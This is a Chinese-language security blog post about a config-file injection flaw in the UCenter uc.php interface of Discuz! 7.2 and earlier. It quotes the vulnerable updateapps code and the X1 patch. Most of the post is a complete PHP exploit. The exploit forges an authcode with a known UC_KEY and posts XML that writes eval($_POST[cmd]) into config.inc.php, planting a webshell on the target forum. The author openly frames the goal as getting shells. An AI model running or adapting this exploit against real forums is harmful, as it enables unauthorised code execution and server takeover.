|
对于dz,我们比较关心的是拿shell,但dz的东西想拿shell太难太难了,上一篇文章的末尾铺垫了下,所以这篇文章也算不上马后炮了...这个漏洞已经在discuz! x1版本悄悄给补上了,但是7.2及以下含有uc接口的版本的均没有补。
这个漏洞其实也是老漏洞,去年大家就已经知道了,是二次写配置文件的漏洞,就是年初创始人通过后台ucenter拿shell漏洞的另外的利用办法。 很多人知道了,uc.php里的代码跟那个setting.inc.php相仿,但是dz官方在修复后台的时候没有同时对此进行修复,于是使这个漏洞一直存在至今。
当然,漏洞是依旧是鸡肋的,想要利用这个漏洞,必须满足两点条件:
1.必须知道UC_KEY,通常在配置文件里,或者ucenter的原始(没有经过修改的)数据库(应用)中;
2.配置文件config.inc.php必须可写。
好了,看看代码吧:
... function updateapps($get, $post) { global $_DCACHE; if(!API_UPDATEAPPS) { return API_RETURN_FORBIDDEN; } $UC_API = $post['UC_API'];
if(empty($post) || empty($UC_API)) { return API_RETURN_SUCCEED; }
$cachefile = $this->appdir.'./uc_client/data/cache/apps.php'; $fp = fopen($cachefile, 'w'); $s = "<?phprn"; $s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";rn"; fwrite($fp, $s); fclose($fp);
if(is_writeable($this->appdir.'./config.inc.php')) { $configfile = trim(file_get_contents($this->appdir.'./config.inc.php')); $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile; $configfile = preg_replace("/define('UC_API',s*'.*?');/i", "define('UC_API', '$UC_API');", $configfile);//这里的问题 if($fp = @fopen($this->appdir.'./config.inc.php', 'w')) { @fwrite($fp, trim($configfile)); @fclose($fp); } }
global $_DCACHE; require_once $this->appdir.'./forumdata/cache/cache_settings.php'; require_once $this->appdir.'./include/cache.func.php'; foreach($post as $appid => $app) { if(!empty($app['viewprourl'])) { $_DCACHE['settings']['ucapp'][$appid]['viewprourl'] = $app['url'].$app['viewprourl']; } } updatesettings();
return API_RETURN_SUCCEED; } ...
怎么修复,discuz! x1里是这么修复的:
$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);
具体我就不详细分析了,以前就讲过,大家可以看我之前那篇博文: http://www.oldjun.com/blog/index.php/archives/59/
好久没看dz了,曾经的、保留很久的get webshell的漏洞基本都一个个被公布,然后被补上了...希望大家还是留点有用的漏洞吧,不然真没的玩啦(如果在后台还有的话)...
给出一个Exp:
<?php $timestamp = time()+10*3600; $host="bbs.xxxxxx.com"; $uc_key="A1v8Z5Z7feZdmfcd72J5C5V8hc8dM4F6V2g0h5ofXdS6jcm1C78bZede39z51610"; $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key)); $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">xxx\');eval($_POST[cmd]);//</item> </root>'; $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">aaa</item> </root>'; $html1 = send($cmd1); echo $html1; $html2 = send($cmd2); echo $html2; function send($cmd){ global $host,$code; $message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n"; $message .= "Accept: */*\r\n"; $message .= "Referer: ".$host."\r\n"; $message .= "Accept-Language: zh-cn\r\n"; $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n"; $message .= "Host: ".$host."\r\n"; $message .= "Content-Length: ".strlen($cmd)."\r\n"; $message .= "Connection: Close\r\n\r\n"; $message .= $cmd; $fp = fsockopen($host, 80); fputs($fp, $message); $resp = '';
while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; }
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4;
$key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string);
$result = ''; $box = range(0, 255);
$rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); }
for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; }
for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); }
if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); }
} ?>
|
|
|